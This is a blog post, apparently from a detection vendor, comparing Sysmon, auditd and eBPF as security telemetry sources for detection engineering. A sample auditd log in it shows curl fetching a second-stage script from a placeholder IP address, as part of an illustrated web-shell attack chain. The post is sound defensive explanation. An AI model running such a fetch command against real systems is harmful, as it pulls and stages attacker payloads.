Every detection conversation eventually stalls on the same question: where is the data coming from?
It sounds like plumbing. It isn't. Your telemetry source determines the ceiling on what you can ever detect. No amount of clever rule writing or machine learning recovers a field that was never collected. If your sensor doesn't record the parent process, you cannot write a parent-child rule, and that's the end of the discussion.
So this is a comparison of the three sources most teams actually run (Sysmon on Windows, auditd on Linux, and eBPF on newer Linux), focused on what each one really gives you rather than what its documentation claims.
I'll say up front that these aren't strictly competitors. Sysmon is Windows-only. auditd and eBPF are both Linux, and they overlap heavily. Most real estates end up running Sysmon on one side and one of the other two on the other. But the comparison is still worth making, because the shape of the data differs enormously, and that shape is what your detection logic has to live with.
The short version
The same comparison in full, including the parts that don't fit in a graphic:
| Sysmon | auditd | eBPF | |
|---|---|---|---|
| Platform | Windows | Linux | Linux (kernel 4.18+, realistically 5.8+) |
| Layer | Kernel driver + service | Kernel audit subsystem | In-kernel VM, kprobes/tracepoints/LSM |
| Process creation | Event ID 1, rich |
execve syscall, fragmented |
Full, structured |
| File hashes | Built in (MD5/SHA1/SHA256/IMPHASH) | No | Possible, but you implement it |
| Network | Event ID 3, with PID + process | Weak, syscall-level only | Strong, with socket + process context |
| DNS | Event ID 22 | No | Yes, with work |
| Correlation ID | ProcessGUID | None | Depends on implementation |
| Container awareness | N/A | Poor | Native (cgroup/namespace) |
| In-kernel filtering | Limited | No, filter after the fact | Yes |
| Overhead | Moderate | Moderate to high | Low to moderate |
| Event loss under load | Rare | Common (backlog limit) | Possible (ring buffer overrun) |
| Config difficulty | Moderate (XML) | Moderate (audit.rules) |
High |
| Tamper resistance | Moderate | Moderate | Moderate to high |
If you want the one-sentence version: Sysmon is the best-designed of the three, auditd is the most universally available, and eBPF is where Linux telemetry is going.
Sysmon
Sysmon is a Sysinternals tool: a kernel driver plus a userspace service that writes enriched events into the Windows Event Log. It's free, Microsoft-signed, and it has been the de facto standard for Windows endpoint visibility for the better part of a decade.
What makes it good isn't the event coverage, though that's broad. It's that Sysmon was clearly designed by someone who had to use the output.
Take process creation, Event ID 1. A single event gives you:
- The image path and command line
- The parent image path and command line
- File hashes, several algorithms at once if you want them
- The user, the logon GUID, the integrity level
- The current directory
- And a ProcessGUID
That last field deserves its own paragraph.
ProcessGUID is the feature nobody talks about enough
PIDs get reused. On a busy host, a PID that belonged to a malicious process ten minutes ago might belong to something completely benign now. If you're correlating events by PID, and lots of tooling does, you will eventually stitch two unrelated processes into one fictional chain and hand an analyst a story that never happened.
Sysmon assigns every process a globally unique ID that never repeats. Every subsequent event from that process carries it. Parent-child relationships reference it. This means you can reconstruct an accurate process tree from Sysmon data hours after the fact, with confidence.
auditd gives you nothing equivalent. That single difference accounts for a disproportionate amount of the pain in Linux detection engineering.
Where Sysmon falls down
It's noisy by default, and the default config is close to useless. You need a curated configuration (the SwiftOnSecurity or Olaf Hartong configs are the usual starting points) or you'll drown in image-load events.
It writes to the Windows Event Log, which means you inherit Event Log's throughput characteristics and its collection story. That's fine at small scale and gets interesting at large scale.
And it's a userland-visible service with a driver. A sufficiently privileged attacker can stop it, unload it, or tamper with its config. Sysmon 13+ added ProcessTampering detection (Event ID 25), which helps, but "helps" is doing real work in that sentence.
auditd
auditd is the userspace daemon for the Linux kernel's audit subsystem. It's been in the kernel for a very long time, it's present or trivially installable on essentially every distribution, and it's what most compliance frameworks expect you to be running.
It works at the syscall layer. You write rules that say "record every execve" or "record every write to /etc/passwd," and the kernel emits records.
Here's what makes it painful.
One logical event, many records
An execve doesn't produce one audit record. It produces several: a SYSCALL record, an EXECVE record with the arguments, one or more PATH records, a CWD record, a PROCTITLE record. They share an event ID and timestamp, and it's your job to join them back together.
type=SYSCALL msg=audit(1735689600.123:4471): arch=c000003e syscall=59 success=yes
exit=0 a0=... ppid=2841 pid=2903 auid=1000 uid=1000 comm="curl"
exe="/usr/bin/curl" key="exec"
type=EXECVE msg=audit(1735689600.123:4471): argc=3 a0="curl" a1="-s"
a2="http://198.51.100.7/x.sh"
type=CWD msg=audit(1735689600.123:4471): cwd="/tmp"
type=PATH msg=audit(1735689600.123:4471): item=0 name="/usr/bin/curl" ...
type=PROCTITLE msg=audit(1735689600.123:4471): proctitle=6375726C002D73...
That's one command. Every consumer of auditd data has to implement this reassembly, and most implement it slightly differently.
The things it just doesn't have
- No file hashes. If you want to know what binary actually ran, you hash it yourself, out of band, and hope it hasn't been replaced in the interim.
- No process GUID. PID reuse is your problem.
-
Truncated arguments.
PROCTITLEis capped, so long command lines get truncated. Those are exactly the ones you care about, the base64-encoded ones. -
Weak network visibility. You can audit
connectandaccept, but stitching syscall-level socket activity back into "this process talked to this host" is significant work. - Poor container awareness. auditd reports the host PID namespace. Working out which container a record came from ranges from awkward to impossible depending on your setup.
And it drops events
The audit subsystem has a fixed backlog. When the kernel produces records faster than auditd drains them, records are lost. You can raise backlog_limit, and you should, but under a burst, which is precisely what an attack looks like, you can lose exactly the records you needed. auditd will tell you it happened, which is something, but the data is gone.
To be fair to auditd: it is everywhere, it needs no special kernel, it survives in locked-down and air-gapped environments, and auditors know what it is. Those are real advantages and they're why it isn't going anywhere.
eBPF
eBPF lets you load small, verified programs into the running kernel and attach them to tracepoints, kprobes, or LSM hooks. For security monitoring this changes the economics in a few specific ways.
You filter in the kernel. With auditd, everything matching your rules goes to userspace and you discard what you don't want, after paying the cost of moving it. An eBPF program can decide in-kernel that an event is uninteresting and never emit it. On a busy host that difference is large.
You get structured events. You're writing the program, so you emit one coherent record with the fields you want, rather than reassembling five record types.
You get container context natively. Cgroup and namespace IDs are available at the point of collection, so container attribution isn't a reconstruction exercise.
You can hook things auditd can't reach meaningfully: TLS library calls before encryption, specific kernel functions, LSM decision points.
The catch
eBPF is not free lunch.
Kernel version requirements are real. CO-RE and BTF make portable eBPF practical, but that realistically means kernel 5.8+ for a comfortable life. If your estate includes CentOS 7 boxes, and someone's estate always includes CentOS 7 boxes, eBPF is not available there and you're falling back to auditd anyway.
The verifier is strict. Programs must be provably terminating and memory-safe. This is what makes eBPF safe to run in the kernel, and it also makes it genuinely hard to write. Loop bounds, stack limits, and helper restrictions shape what you can express.
Ring buffers can still overflow. eBPF reduces the loss problem substantially; it doesn't eliminate it.
It's a moving target. Hook stability across kernel versions requires ongoing work. A kprobe on an internal function can break on a kernel upgrade in a way a tracepoint won't.
You mostly don't write raw eBPF yourself. You use Falco, Tetragon, Tracee, or a vendor's agent. But it's worth understanding what's underneath, because the differences between those tools come down to which hooks they use and what they emit.
What each one sees: the same attack, three ways
Consider a simple chain: a web shell executing a command that pulls down a second stage.
Sysmon (if this were the Windows equivalent) gives you the whole chain with ProcessGUIDs linking each step, hashes on every binary, full command lines, and the outbound connection tied to its originating process. Reconstruction is close to trivial.
auditd gives you the executions, if you rule for execve. The curl command line may be truncated. The outbound connection is a connect syscall you have to associate with the process yourself. If the machine was busy, one of these records may simply not exist. You will probably get there, but you'll be doing joins.
eBPF gives you the chain as structured events with container attribution, the network connection already tied to the process, and, depending on the implementation, whatever enrichment the program author decided to add at collection time.
The attack is the same in all three. The reconstruction cost is not remotely the same.
Choosing
Windows: run Sysmon with a curated config. There isn't a serious argument against it. If you have an EDR that already collects equivalent telemetry, check whether it gives you ProcessGUID-equivalent correlation before you decide Sysmon is redundant.
Linux, mixed or older kernels: auditd, tuned narrowly. Rule for what you need: execve, a small set of sensitive file paths, module loading. Not for everything. Broad auditd rules are how you get the backlog drops. Raise backlog_limit and monitor lost counts as a health metric, because silent telemetry loss is worse than no telemetry.
Linux, modern kernels: eBPF, via one of the established tools. Better data, lower overhead, native container context.
Realistically: both, on Linux. eBPF where the kernel supports it, auditd as the floor everywhere else, and a normalisation layer so your detection logic doesn't have to care which one produced a given event.
That last point is the one people underestimate. Running two collectors is easy. Writing detection logic that works identically against both, with the same field names, the same process identity model, the same guarantees, is the actual work.
The thing all three have in common
Every one of these produces a stream of events. Process started. File written. Socket opened.
But almost nothing in that stream is suspicious on its own. curl isn't suspicious. chmod +x isn't suspicious. A process writing to /tmp isn't suspicious. What's suspicious is the shape: a web server process with a shell child, which fetched a file, which was made executable, which then ran and called out.
The signal is in the relationships between events, not in the events. Whichever sensor you pick, that reassembly is a problem you still have to solve. Your telemetry choice determines how expensive it is: whether you have stable process identity, whether the parent field is reliable, whether the command line survived intact.
Pick the sensor that makes the graph cheap to build. That's the actual selection criterion, and it's the one most comparisons skip.
Written by the team at Logster, where we build behavioural detection on top of exactly this telemetry: Sysmon, auditd, and a purpose-built eBPF collector. If you want the deeper version, the documentation covers our collection model in more detail.



Top comments (0)